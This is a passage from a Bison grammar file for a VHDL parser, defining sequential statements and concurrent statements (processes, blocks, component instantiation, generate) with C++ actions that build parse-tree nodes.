| KW_WITH expression KW_SELECT '?'
target DL_LEQ delay_mechanism selected_waveforms {
$$ = new VhdlParseTreeNode(PT_SELECTED_WAVEFORM_ASSIGNMENT);
$$->pieces[0] = $2;
$$->pieces[1] = $5;
$$->pieces[2] = $8;
$$->pieces[3] = $7;
$$->boolean = true;
}
selected_waveforms:
_selected_waveform
| selected_waveforms ',' _selected_waveform {
$$ = new VhdlParseTreeNode(PT_SELECTED_WAVEFORMS);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
_selected_waveform:
waveform KW_WHEN choices {
$$ = new VhdlParseTreeNode(PT_SELECTED_WAVEFORM);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
selected_force_assignment:
KW_WITH expression KW_SELECT target DL_LEQ KW_FORCE selected_expressions {
$$ = new VhdlParseTreeNode(PT_SELECTED_FORCE_ASSIGNMENT);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = $7;
$$->force_mode = FORCE_UNSPEC;
$$->boolean = false;
}
| KW_WITH expression KW_SELECT target
DL_LEQ KW_FORCE KW_IN selected_expressions {
$$ = new VhdlParseTreeNode(PT_SELECTED_FORCE_ASSIGNMENT);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = $8;
$$->force_mode = FORCE_IN;
$$->boolean = false;
}
| KW_WITH expression KW_SELECT target
DL_LEQ KW_FORCE KW_OUT selected_expressions {
$$ = new VhdlParseTreeNode(PT_SELECTED_FORCE_ASSIGNMENT);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = $8;
$$->force_mode = FORCE_OUT;
$$->boolean = false;
}
| KW_WITH expression KW_SELECT '?' target
DL_LEQ KW_FORCE selected_expressions {
$$ = new VhdlParseTreeNode(PT_SELECTED_FORCE_ASSIGNMENT);
$$->pieces[0] = $2;
$$->pieces[1] = $5;
$$->pieces[2] = $8;
$$->force_mode = FORCE_UNSPEC;
$$->boolean = true;
}
| KW_WITH expression KW_SELECT '?' target
DL_LEQ KW_FORCE KW_IN selected_expressions {
$$ = new VhdlParseTreeNode(PT_SELECTED_FORCE_ASSIGNMENT);
$$->pieces[0] = $2;
$$->pieces[1] = $5;
$$->pieces[2] = $9;
$$->force_mode = FORCE_IN;
$$->boolean = true;
}
| KW_WITH expression KW_SELECT '?' target
DL_LEQ KW_FORCE KW_OUT selected_expressions {
$$ = new VhdlParseTreeNode(PT_SELECTED_FORCE_ASSIGNMENT);
$$->pieces[0] = $2;
$$->pieces[1] = $5;
$$->pieces[2] = $9;
$$->force_mode = FORCE_OUT;
$$->boolean = true;
}
selected_expressions:
_selected_expression
| selected_expressions ',' _selected_expression {
$$ = new VhdlParseTreeNode(PT_SELECTED_EXPRESSIONS);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
_selected_expression:
expression KW_WHEN choices {
$$ = new VhdlParseTreeNode(PT_SELECTED_EXPRESSION);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
/// Section 10.6
variable_assignment_statement:
simple_variable_assignment
| conditional_variable_assignment
| selected_variable_assignment
simple_variable_assignment:
target DL_ASS expression {
$$ = new VhdlParseTreeNode(PT_SIMPLE_VARIABLE_ASSIGNMENT);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
conditional_variable_assignment:
target DL_ASS conditional_expressions {
$$ = new VhdlParseTreeNode(PT_CONDITIONAL_VARIABLE_ASSIGNMENT);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
selected_variable_assignment:
KW_WITH expression KW_SELECT target DL_ASS selected_expressions {
$$ = new VhdlParseTreeNode(PT_SELECTED_VARIABLE_ASSIGNMENT);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = $6;
$$->boolean = false;
}
| KW_WITH expression KW_SELECT '?' target DL_ASS selected_expressions {
$$ = new VhdlParseTreeNode(PT_SELECTED_VARIABLE_ASSIGNMENT);
$$->pieces[0] = $2;
$$->pieces[1] = $5;
$$->pieces[2] = $7;
$$->boolean = true;
}
/// Section 10.7
// Because of how we refactored the label logic out of statements, this is
// a direct passthrough
procedure_call_statement:
procedure_call
procedure_call:
// Fun, accepts lots of crap. Functions and procedures basically look
// about the same though, so the hacks we have for functions should be
// sufficient.
name
| _definitely_function_call
/// Section 10.8
if_statement:
_real_if_statement
| _real_if_statement identifier {
$$ = $1;
$$->pieces[4] = $2;
}
_real_if_statement:
KW_IF expression KW_THEN sequence_of_statements KW_END KW_IF {
$$ = new VhdlParseTreeNode(PT_IF_STATEMENT);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = nullptr;
$$->pieces[3] = nullptr;
$$->pieces[4] = nullptr;
}
| KW_IF expression KW_THEN sequence_of_statements _one_or_more_elsifs
KW_END KW_IF {
$$ = new VhdlParseTreeNode(PT_IF_STATEMENT);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = $5;
$$->pieces[3] = nullptr;
$$->pieces[4] = nullptr;
}
| KW_IF expression KW_THEN sequence_of_statements
KW_ELSE sequence_of_statements KW_END KW_IF {
$$ = new VhdlParseTreeNode(PT_IF_STATEMENT);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = nullptr;
$$->pieces[3] = $6;
$$->pieces[4] = nullptr;
}
| KW_IF expression KW_THEN sequence_of_statements
_one_or_more_elsifs KW_ELSE sequence_of_statements KW_END KW_IF {
$$ = new VhdlParseTreeNode(PT_IF_STATEMENT);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = $5;
$$->pieces[3] = $7;
$$->pieces[4] = nullptr;
}
_one_or_more_elsifs:
_elsif
| _one_or_more_elsifs _elsif {
$$ = new VhdlParseTreeNode(PT_ELSIF_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
_elsif:
KW_ELSIF expression KW_THEN sequence_of_statements {
$$ = new VhdlParseTreeNode(PT_ELSIF);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
}
/// Section 10.9
case_statement:
_real_case_statement
| _real_case_statement identifier {
$$ = $1;
$$->pieces[2] = $2;
}
_real_case_statement:
KW_CASE expression KW_IS _one_or_more_case_statement_alternatives
KW_END KW_CASE {
$$ = new VhdlParseTreeNode(PT_CASE_STATEMENT);
$$->boolean = false;
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = nullptr;
}
| KW_CASE '?' expression KW_IS _one_or_more_case_statement_alternatives
KW_END KW_CASE '?' {
$$ = new VhdlParseTreeNode(PT_CASE_STATEMENT);
$$->boolean = true;
$$->pieces[0] = $3;
$$->pieces[1] = $5;
$$->pieces[2] = nullptr;
}
_one_or_more_case_statement_alternatives:
case_statement_alternative
| _one_or_more_case_statement_alternatives case_statement_alternative {
$$ = new VhdlParseTreeNode(PT_CASE_STATEMENT_ALTERNATIVE_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
case_statement_alternative:
KW_WHEN choices DL_ARR sequence_of_statements {
$$ = new VhdlParseTreeNode(PT_CASE_STATEMENT_ALTERNATIVE);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
}
/// Section 10.10
loop_statement:
_real_loop_statement
| _real_loop_statement identifier {
$$ = $1;
$$->pieces[2] = $2;
}
_real_loop_statement:
KW_LOOP sequence_of_statements KW_END KW_LOOP {
$$ = new VhdlParseTreeNode(PT_LOOP_STATEMENT);
$$->pieces[0] = $2;
$$->pieces[1] = nullptr;
$$->pieces[2] = nullptr;
}
| iteration_scheme KW_LOOP sequence_of_statements KW_END KW_LOOP {
$$ = new VhdlParseTreeNode(PT_LOOP_STATEMENT);
$$->pieces[0] = $3;
$$->pieces[1] = $1;
$$->pieces[2] = nullptr;
}
iteration_scheme:
KW_WHILE expression {
$$ = new VhdlParseTreeNode(PT_ITERATION_WHILE);
$$->pieces[0] = $2;
}
| KW_FOR parameter_specification {
$$ = new VhdlParseTreeNode(PT_ITERATION_FOR);
$$->pieces[0] = $2;
}
parameter_specification:
identifier KW_IN discrete_range {
$$ = new VhdlParseTreeNode(PT_PARAMETER_SPECIFICATION);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
}
/// Section 10.11
next_statement:
KW_NEXT {
$$ = new VhdlParseTreeNode(PT_NEXT_STATEMENT);
$$->pieces[0] = nullptr;
$$->pieces[1] = nullptr;
}
| KW_NEXT identifier {
$$ = new VhdlParseTreeNode(PT_NEXT_STATEMENT);
$$->pieces[0] = $2;
$$->pieces[1] = nullptr;
}
| KW_NEXT KW_WHEN expression {
$$ = new VhdlParseTreeNode(PT_NEXT_STATEMENT);
$$->pieces[0] = nullptr;
$$->pieces[1] = $3;
}
| KW_NEXT identifier KW_WHEN expression {
$$ = new VhdlParseTreeNode(PT_NEXT_STATEMENT);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
}
/// Section 10.12
exit_statement:
KW_EXIT {
$$ = new VhdlParseTreeNode(PT_EXIT_STATEMENT);
$$->pieces[0] = nullptr;
$$->pieces[1] = nullptr;
}
| KW_EXIT identifier {
$$ = new VhdlParseTreeNode(PT_EXIT_STATEMENT);
$$->pieces[0] = $2;
$$->pieces[1] = nullptr;
}
| KW_EXIT KW_WHEN expression {
$$ = new VhdlParseTreeNode(PT_EXIT_STATEMENT);
$$->pieces[0] = nullptr;
$$->pieces[1] = $3;
}
| KW_EXIT identifier KW_WHEN expression {
$$ = new VhdlParseTreeNode(PT_EXIT_STATEMENT);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
}
/// Section 10.13
return_statement:
KW_RETURN {
$$ = new VhdlParseTreeNode(PT_RETURN_STATEMENT);
}
| KW_RETURN expression {
$$ = new VhdlParseTreeNode(PT_RETURN_STATEMENT);
$$->pieces[0] = $2;
}
/// Section 10.14
null_statement:
KW_NULL {
$$ = new VhdlParseTreeNode(PT_NULL_STATEMENT);
}
////////////////////// Concurrent statements, section 11 //////////////////////
/// Section 11.1
// Store line number information
concurrent_statement: _concurrent_statement { STORE_LOC($$, @$); }
_concurrent_statement:
block_statement
| process_statement
| concurrent_procedure_call_statement
| concurrent_assertion_statement
| concurrent_signal_assignment_statement
| component_instantiation_statement
| generate_statement
_sequence_of_concurrent_statements:
%empty
| _real_sequence_of_concurrent_statements
// We need this or else the %empty can cause ambiguity.
_real_sequence_of_concurrent_statements:
concurrent_statement
| _real_sequence_of_concurrent_statements concurrent_statement {
$$ = new VhdlParseTreeNode(PT_SEQUENCE_OF_CONCURRENT_STATEMENTS);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
/// Section 11.2
block_statement:
_real_block_statement ';'
| _real_block_statement identifier ';' {
$$ = $1;
$$->pieces[5] = $2;
}
_real_block_statement:
identifier ':' KW_BLOCK __maybe_is
block_header block_declarative_part KW_BEGIN
_sequence_of_concurrent_statements KW_END KW_BLOCK {
$$ = new VhdlParseTreeNode(PT_BLOCK);
$$->pieces[0] = $1;
$$->pieces[1] = $5;
$$->pieces[2] = nullptr;
$$->pieces[3] = $6;
$$->pieces[4] = $8;
}
| identifier ':' KW_BLOCK '(' expression ')' __maybe_is
block_header block_declarative_part KW_BEGIN
_sequence_of_concurrent_statements KW_END KW_BLOCK {
$$ = new VhdlParseTreeNode(PT_BLOCK);
$$->pieces[0] = $1;
$$->pieces[1] = $8;
$$->pieces[2] = $5;
$$->pieces[3] = $9;
$$->pieces[4] = $11;
}
block_declarative_part:
%empty
| _real_block_declarative_part
_real_block_declarative_part:
block_declarative_item
| _real_block_declarative_part block_declarative_item {
$$ = new VhdlParseTreeNode(PT_DECLARATION_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
block_header:
%empty
| _block_header_generic_part
| _block_header_port_part
| _block_header_generic_part _block_header_port_part {
// FIXME: Ugly
$$ = $1;
$$->pieces[2] = $2->pieces[2];
$$->pieces[3] = $2->pieces[3];
$2->pieces[2] = nullptr;
$2->pieces[3] = nullptr;
delete $2;
}
_block_header_generic_part:
KW_GENERIC '(' interface_list ')' ';' {
$$ = new VhdlParseTreeNode(PT_BLOCK_HEADER);
$$->pieces[0] = $3;
$$->pieces[1] = nullptr;
$$->pieces[2] = nullptr;
$$->pieces[3] = nullptr;
}
| KW_GENERIC '(' interface_list ')' ';' generic_map_aspect ';' {
$$ = new VhdlParseTreeNode(PT_BLOCK_HEADER);
$$->pieces[0] = $3;
$$->pieces[1] = $6;
$$->pieces[2] = nullptr;
$$->pieces[3] = nullptr;
}
_block_header_port_part:
KW_PORT '(' interface_list ')' ';' {
$$ = new VhdlParseTreeNode(PT_BLOCK_HEADER);
$$->pieces[0] = nullptr;
$$->pieces[1] = nullptr;
$$->pieces[2] = $3;
$$->pieces[3] = nullptr;
}
| KW_PORT '(' interface_list ')' ';' port_map_aspect ';' {
$$ = new VhdlParseTreeNode(PT_BLOCK_HEADER);
$$->pieces[0] = nullptr;
$$->pieces[1] = nullptr;
$$->pieces[2] = $3;
$$->pieces[3] = $6;
}
/// Section 11.3
process_statement:
_real_process_statement ';'
| identifier ':' _real_process_statement ';' {
$$ = $3;
$$->pieces[0] = $1;
}
| _real_process_statement identifier ';' {
$$ = $1;
$$->pieces[3] = $2;
}
| identifier ':' _real_process_statement identifier ';' {
$$ = $3;
$$->pieces[0] = $1;
$$->pieces[3] = $4;
}
_real_process_statement:
KW_PROCESS __maybe_is process_declarative_part KW_BEGIN
sequence_of_statements KW_END KW_PROCESS {
$$ = new VhdlParseTreeNode(PT_PROCESS);
$$->boolean = false;
$$->pieces[0] = nullptr;
$$->pieces[1] = $3;
$$->pieces[2] = $5;
$$->pieces[3] = nullptr;
$$->pieces[4] = nullptr;
}
| KW_PROCESS '(' process_sensitivity_list ')' __maybe_is
process_declarative_part KW_BEGIN
sequence_of_statements KW_END KW_PROCESS {
$$ = new VhdlParseTreeNode(PT_PROCESS);
$$->boolean = false;
$$->pieces[0] = nullptr;
$$->pieces[1] = $6;
$$->pieces[2] = $8;
$$->pieces[3] = nullptr;
$$->pieces[4] = $3;
}
| KW_POSTPONED KW_PROCESS __maybe_is process_declarative_part KW_BEGIN
sequence_of_statements KW_END KW_POSTPONED KW_PROCESS {
$$ = new VhdlParseTreeNode(PT_PROCESS);
$$->boolean = true;
$$->pieces[0] = nullptr;
$$->pieces[1] = $4;
$$->pieces[2] = $6;
$$->pieces[3] = nullptr;
$$->pieces[4] = nullptr;
}
| KW_POSTPONED KW_PROCESS '(' process_sensitivity_list ')' __maybe_is
process_declarative_part KW_BEGIN
sequence_of_statements KW_END KW_POSTPONED KW_PROCESS {
$$ = new VhdlParseTreeNode(PT_PROCESS);
$$->boolean = true;
$$->pieces[0] = nullptr;
$$->pieces[1] = $7;
$$->pieces[2] = $9;
$$->pieces[3] = nullptr;
$$->pieces[4] = $4;
}
__maybe_is:
%empty
| KW_IS
process_sensitivity_list:
KW_ALL { $$ = new VhdlParseTreeNode(PT_TOK_ALL); }
| _list_of_names
process_declarative_part:
%empty
| _real_process_declarative_part
_real_process_declarative_part:
process_declarative_item
| _real_process_declarative_part process_declarative_item {
$$ = new VhdlParseTreeNode(PT_DECLARATION_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
process_declarative_item:
subprogram_declaration
| subprogram_body
| subprogram_instantiation_declaration
| package_declaration
| package_body
| package_instantiation_declaration
| type_declaration
| subtype_declaration
| constant_declaration
| variable_declaration
| file_declaration
| alias_declaration
| attribute_declaration
| attribute_specification
| use_clause
| group_template_declaration
| group_declaration
/// Section 11.4
concurrent_procedure_call_statement:
_real_concurrent_procedure_call_statement ';'
| identifier ':' _real_concurrent_procedure_call_statement ';' {
$$ = $3;
$$->pieces[1] = $1;
}
_real_concurrent_procedure_call_statement:
procedure_call {
$$ = new VhdlParseTreeNode(PT_CONCURRENT_PROCEDURE_CALL);
$$->boolean = false;
$$->pieces[0] = $1;
$$->pieces[1] = nullptr;
}
| KW_POSTPONED procedure_call {
$$ = new VhdlParseTreeNode(PT_CONCURRENT_PROCEDURE_CALL);
$$->boolean = true;
$$->pieces[0] = $2;
$$->pieces[1] = nullptr;
}
/// Section 11.5
concurrent_assertion_statement:
_real_concurrent_assertion_statement ';'
| identifier ':' _real_concurrent_assertion_statement ';' {
$$ = $3;
$$->pieces[1] = $1;
}
_real_concurrent_assertion_statement:
assertion {
$$ = new VhdlParseTreeNode(PT_CONCURRENT_ASSERTION_STATEMENT);
$$->boolean = false;
$$->pieces[0] = $1;
$$->pieces[1] = nullptr;
}
| KW_POSTPONED assertion {
$$ = new VhdlParseTreeNode(PT_CONCURRENT_ASSERTION_STATEMENT);
$$->boolean = true;
$$->pieces[0] = $2;
$$->pieces[1] = nullptr;
}
/// Section 11.6
concurrent_signal_assignment_statement:
_real_concurrent_signal_assignment_statement ';'
| identifier ':' _real_concurrent_signal_assignment_statement ';' {
$$ = $3;
$$->pieces[3] = $1;
}
| KW_POSTPONED _real_concurrent_signal_assignment_statement ';' {
$$ = $2;
$$->boolean = true;
}
| identifier ':' KW_POSTPONED
_real_concurrent_signal_assignment_statement ';' {
$$ = $4;
$$->boolean = true;
$$->pieces[3] = $1;
}
_real_concurrent_signal_assignment_statement:
concurrent_simple_signal_assignment
| concurrent_conditional_signal_assignment
| concurrent_selected_signal_assignment
concurrent_simple_signal_assignment:
target DL_LEQ waveform {
$$ = new VhdlParseTreeNode(PT_CONCURRENT_SIMPLE_SIGNAL_ASSIGNMENT);
$$->boolean = false;
$$->boolean2 = false;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
$$->pieces[2] = nullptr;
$$->pieces[3] = nullptr;
}
| target DL_LEQ delay_mechanism waveform {
$$ = new VhdlParseTreeNode(PT_CONCURRENT_SIMPLE_SIGNAL_ASSIGNMENT);
$$->boolean = false;
$$->boolean2 = false;
$$->pieces[0] = $1;
$$->pieces[1] = $4;
$$->pieces[2] = $3;
$$->pieces[3] = nullptr;
}
| target DL_LEQ KW_GUARDED waveform {
$$ = new VhdlParseTreeNode(PT_CONCURRENT_SIMPLE_SIGNAL_ASSIGNMENT);
$$->boolean = false;
$$->boolean2 = true;
$$->pieces[0] = $1;
$$->pieces[1] = $4;
$$->pieces[2] = nullptr;
$$->pieces[3] = nullptr;
}
| target DL_LEQ KW_GUARDED delay_mechanism waveform {
$$ = new VhdlParseTreeNode(PT_CONCURRENT_SIMPLE_SIGNAL_ASSIGNMENT);
$$->boolean = false;
$$->boolean2 = true;
$$->pieces[0] = $1;
$$->pieces[1] = $5;
$$->pieces[2] = $4;
$$->pieces[3] = nullptr;
}
concurrent_conditional_signal_assignment:
target DL_LEQ conditional_waveforms {
$$ = new VhdlParseTreeNode(
PT_CONCURRENT_CONDITIONAL_SIGNAL_ASSIGNMENT);
$$->boolean = false;
$$->boolean2 = false;
$$->pieces[0] = $1;
$$->pieces[1] = $3;
$$->pieces[2] = nullptr;
$$->pieces[3] = nullptr;
}
| target DL_LEQ delay_mechanism conditional_waveforms {
$$ = new VhdlParseTreeNode(
PT_CONCURRENT_CONDITIONAL_SIGNAL_ASSIGNMENT);
$$->boolean = false;
$$->boolean2 = false;
$$->pieces[0] = $1;
$$->pieces[1] = $4;
$$->pieces[2] = $3;
$$->pieces[3] = nullptr;
}
| target DL_LEQ KW_GUARDED conditional_waveforms {
$$ = new VhdlParseTreeNode(
PT_CONCURRENT_CONDITIONAL_SIGNAL_ASSIGNMENT);
$$->boolean = false;
$$->boolean2 = true;
$$->pieces[0] = $1;
$$->pieces[1] = $4;
$$->pieces[2] = nullptr;
$$->pieces[3] = nullptr;
}
| target DL_LEQ KW_GUARDED delay_mechanism conditional_waveforms {
$$ = new VhdlParseTreeNode(
PT_CONCURRENT_CONDITIONAL_SIGNAL_ASSIGNMENT);
$$->boolean = false;
$$->boolean2 = true;
$$->pieces[0] = $1;
$$->pieces[1] = $5;
$$->pieces[2] = $4;
$$->pieces[3] = nullptr;
}
concurrent_selected_signal_assignment:
KW_WITH expression KW_SELECT target DL_LEQ selected_waveforms {
$$ = new VhdlParseTreeNode(PT_CONCURRENT_SELECTED_SIGNAL_ASSIGNMENT);
$$->boolean = false;
$$->boolean2 = false;
$$->boolean3 = false;
$$->pieces[0] = $4;
$$->pieces[1] = $6;
$$->pieces[2] = nullptr;
$$->pieces[3] = nullptr;
$$->pieces[4] = $2;
}
| KW_WITH expression KW_SELECT target delay_mechanism
DL_LEQ selected_waveforms {
$$ = new VhdlParseTreeNode(PT_CONCURRENT_SELECTED_SIGNAL_ASSIGNMENT);
$$->boolean = false;
$$->boolean2 = false;
$$->boolean3 = false;
$$->pieces[0] = $4;
$$->pieces[1] = $7;
$$->pieces[2] = $5;
$$->pieces[3] = nullptr;
$$->pieces[4] = $2;
}
| KW_WITH expression KW_SELECT target KW_GUARDED
DL_LEQ selected_waveforms {
$$ = new VhdlParseTreeNode(PT_CONCURRENT_SELECTED_SIGNAL_ASSIGNMENT);
$$->boolean = false;
$$->boolean2 = true;
$$->boolean3 = false;
$$->pieces[0] = $4;
$$->pieces[1] = $7;
$$->pieces[2] = nullptr;
$$->pieces[3] = nullptr;
$$->pieces[4] = $2;
}
| KW_WITH expression KW_SELECT target KW_GUARDED delay_mechanism
DL_LEQ selected_waveforms {
$$ = new VhdlParseTreeNode(PT_CONCURRENT_SELECTED_SIGNAL_ASSIGNMENT);
$$->boolean = false;
$$->boolean2 = true;
$$->boolean3 = false;
$$->pieces[0] = $4;
$$->pieces[1] = $8;
$$->pieces[2] = $6;
$$->pieces[3] = nullptr;
$$->pieces[4] = $2;
}
| KW_WITH expression KW_SELECT '?' target DL_LEQ selected_waveforms {
$$ = new VhdlParseTreeNode(PT_CONCURRENT_SELECTED_SIGNAL_ASSIGNMENT);
$$->boolean = false;
$$->boolean2 = false;
$$->boolean3 = true;
$$->pieces[0] = $5;
$$->pieces[1] = $7;
$$->pieces[2] = nullptr;
$$->pieces[3] = nullptr;
$$->pieces[4] = $2;
}
| KW_WITH expression KW_SELECT '?' target delay_mechanism
DL_LEQ selected_waveforms {
$$ = new VhdlParseTreeNode(PT_CONCURRENT_SELECTED_SIGNAL_ASSIGNMENT);
$$->boolean = false;
$$->boolean2 = false;
$$->boolean3 = true;
$$->pieces[0] = $5;
$$->pieces[1] = $8;
$$->pieces[2] = $6;
$$->pieces[3] = nullptr;
$$->pieces[4] = $2;
}
| KW_WITH expression KW_SELECT '?' target KW_GUARDED
DL_LEQ selected_waveforms {
$$ = new VhdlParseTreeNode(PT_CONCURRENT_SELECTED_SIGNAL_ASSIGNMENT);
$$->boolean = false;
$$->boolean2 = true;
$$->boolean3 = true;
$$->pieces[0] = $5;
$$->pieces[1] = $8;
$$->pieces[2] = nullptr;
$$->pieces[3] = nullptr;
$$->pieces[4] = $2;
}
| KW_WITH expression KW_SELECT '?' target KW_GUARDED delay_mechanism
DL_LEQ selected_waveforms {
$$ = new VhdlParseTreeNode(PT_CONCURRENT_SELECTED_SIGNAL_ASSIGNMENT);
$$->boolean = false;
$$->boolean2 = true;
$$->boolean3 = true;
$$->pieces[0] = $5;
$$->pieces[1] = $9;
$$->pieces[2] = $7;
$$->pieces[3] = nullptr;
$$->pieces[4] = $2;
}
/// Section 11.7
// There is an ambiguity here when you have a bare name, so we are skipping
// that. That will unfortunately parse into a procedure call.
component_instantiation_statement:
identifier ':' _definitely_instantiated_unit ';' {
$$ = new VhdlParseTreeNode(PT_COMPONENT_INSTANTIATION);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
$$->pieces[2] = nullptr;
$$->pieces[3] = nullptr;
}
| identifier ':' instantiated_unit generic_map_aspect ';' {
$$ = new VhdlParseTreeNode(PT_COMPONENT_INSTANTIATION);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
$$->pieces[2] = $4;
$$->pieces[3] = nullptr;
}
| identifier ':' instantiated_unit port_map_aspect ';' {
$$ = new VhdlParseTreeNode(PT_COMPONENT_INSTANTIATION);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
$$->pieces[2] = nullptr;
$$->pieces[3] = $4;
}
| identifier ':' instantiated_unit generic_map_aspect port_map_aspect ';' {
$$ = new VhdlParseTreeNode(PT_COMPONENT_INSTANTIATION);
$$->pieces[0] = $1;
$$->pieces[1] = $3;
$$->pieces[2] = $4;
$$->pieces[3] = $5;
}
instantiated_unit:
_definitely_instantiated_unit
| _simple_or_selected_name {
$$ = new VhdlParseTreeNode(PT_INSTANTIATED_UNIT_COMPONENT);
$$->pieces[0] = $1;
}
_definitely_instantiated_unit:
_component_instantiated_unit
| _entity_instantiated_unit
| _configuration_instantiated_unit
_component_instantiated_unit:
KW_COMPONENT _simple_or_selected_name {
$$ = new VhdlParseTreeNode(PT_INSTANTIATED_UNIT_COMPONENT);
$$->pieces[0] = $2;
}
_entity_instantiated_unit:
KW_ENTITY _simple_or_selected_name {
$$ = new VhdlParseTreeNode(PT_INSTANTIATED_UNIT_ENTITY);
$$->pieces[0] = $2;
}
| KW_ENTITY _simple_or_selected_name '(' identifier ')' {
$$ = new VhdlParseTreeNode(PT_INSTANTIATED_UNIT_ENTITY);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
}
_configuration_instantiated_unit:
KW_CONFIGURATION _simple_or_selected_name {
$$ = new VhdlParseTreeNode(PT_INSTANTIATED_UNIT_CONFIGURATION);
$$->pieces[0] = $2;
}
/// Section 11.8
generate_statement:
for_generate_statement
| if_generate_statement
| case_generate_statement
for_generate_statement:
_real_for_generate_statement ';'
| _real_for_generate_statement identifier ';' {
$$ = $1;
$$->pieces[3] = $2;
}
_real_for_generate_statement:
identifier ':' KW_FOR parameter_specification KW_GENERATE
generate_statement_body KW_END KW_GENERATE {
$$ = new VhdlParseTreeNode(PT_FOR_GENERATE);
$$->pieces[0] = $1;
$$->pieces[1] = $4;
$$->pieces[2] = $6;
$$->pieces[3] = nullptr;
}
if_generate_statement:
_real_if_generate_statement ';'
| _real_if_generate_statement identifier ';' {
$$ = $1;
$$->pieces[7] = $2;
}
_real_if_generate_statement:
identifier ':' KW_IF expression KW_GENERATE generate_statement_body
_if_generate_elsifs _if_generate_else KW_END KW_GENERATE {
$$ = new VhdlParseTreeNode(PT_IF_GENERATE);
$$->pieces[0] = $1;
$$->pieces[1] = $4;
$$->pieces[2] = $6;
$$->pieces[3] = nullptr;
$$->pieces[4] = $7;
// FIXME: Ugly wtf
if ($8) {
$$->pieces[5] = $8->pieces[1];
$$->pieces[6] = $8->pieces[2];
$8->pieces[1] = nullptr;
$8->pieces[2] = nullptr;
delete $8;
}
$$->pieces[7] = nullptr;
}
| identifier ':' KW_IF identifier ':' expression
KW_GENERATE generate_statement_body
_if_generate_elsifs _if_generate_else KW_END KW_GENERATE {
$$ = new VhdlParseTreeNode(PT_IF_GENERATE);
$$->pieces[0] = $1;
$$->pieces[1] = $6;
$$->pieces[2] = $8;
$$->pieces[3] = $4;
$$->pieces[4] = $9;
// FIXME: Ugly wtf
if ($10) {
$$->pieces[5] = $10->pieces[1];
$$->pieces[6] = $10->pieces[2];
$10->pieces[1] = nullptr;
$10->pieces[2] = nullptr;
delete $10;
}
$$->pieces[7] = nullptr;
}
_if_generate_elsifs:
%empty
| _real_if_generate_elsifs
_real_if_generate_elsifs:
_if_generate_elsif
| _real_if_generate_elsifs _if_generate_elsif {
$$ = new VhdlParseTreeNode(PT_IF_GENERATE_ELSIF_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
_if_generate_elsif:
KW_ELSIF expression KW_GENERATE generate_statement_body {
$$ = new VhdlParseTreeNode(PT_IF_GENERATE_ELSIF);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = nullptr;
}
| KW_ELSIF identifier ':' expression KW_GENERATE generate_statement_body {
$$ = new VhdlParseTreeNode(PT_IF_GENERATE_ELSIF);
$$->pieces[0] = $4;
$$->pieces[1] = $6;
$$->pieces[2] = $2;
}
_if_generate_else:
%empty
| KW_ELSE KW_GENERATE generate_statement_body {
// FIXME: Hack
$$ = new VhdlParseTreeNode(PT_IF_GENERATE_ELSIF);
$$->pieces[0] = nullptr;
$$->pieces[1] = $3;
$$->pieces[2] = nullptr;
}
| KW_ELSE identifier ':' KW_GENERATE generate_statement_body {
// FIXME: Hack
$$ = new VhdlParseTreeNode(PT_IF_GENERATE_ELSIF);
$$->pieces[0] = nullptr;
$$->pieces[1] = $5;
$$->pieces[2] = $2;
}
case_generate_statement:
_real_case_generate_statement ';'
| _real_case_generate_statement identifier ';' {
$$ = $1;
$$->pieces[3] = $2;
}
_real_case_generate_statement:
identifier ':' KW_CASE expression KW_GENERATE
_one_or_more_case_generate_alternatives KW_END KW_GENERATE {
$$ = new VhdlParseTreeNode(PT_CASE_GENERATE);
$$->pieces[0] = $1;
$$->pieces[1] = $4;
$$->pieces[2] = $6;
$$->pieces[3] = nullptr;
}
_one_or_more_case_generate_alternatives:
case_generate_alternative
| _one_or_more_case_generate_alternatives case_generate_alternative {
$$ = new VhdlParseTreeNode(PT_CASE_GENERATE_ALTERNATIVE_LIST);
$$->pieces[0] = $1;
$$->pieces[1] = $2;
}
case_generate_alternative:
KW_WHEN choices DL_ARR generate_statement_body {
$$ = new VhdlParseTreeNode(PT_CASE_GENERATE_ALTERNATIVE);
$$->pieces[0] = $2;
$$->pieces[1] = $4;
$$->pieces[2] = nullptr;
}
| KW_WHEN identifier ':' choices DL_ARR generate_statement_body {
$$ = new VhdlParseTreeNode(PT_CASE_GENERATE_ALTERNATIVE);
$$->pieces[0] = $4;
$$->pieces[1] = $6;
$$->pieces[2] = $2;
}
// FIXME: Presumably begin/end need to match?
generate_statement_body:
_sequence_of_concurrent_statements {
$$ = new VhdlParseTreeNode(PT_GENERATE_BODY);
$$->pieces[0] = nullptr;
$$->pieces[1] = $1;
$$->pieces[2] = nullptr;
}
| block_declarative_part KW_BEGIN
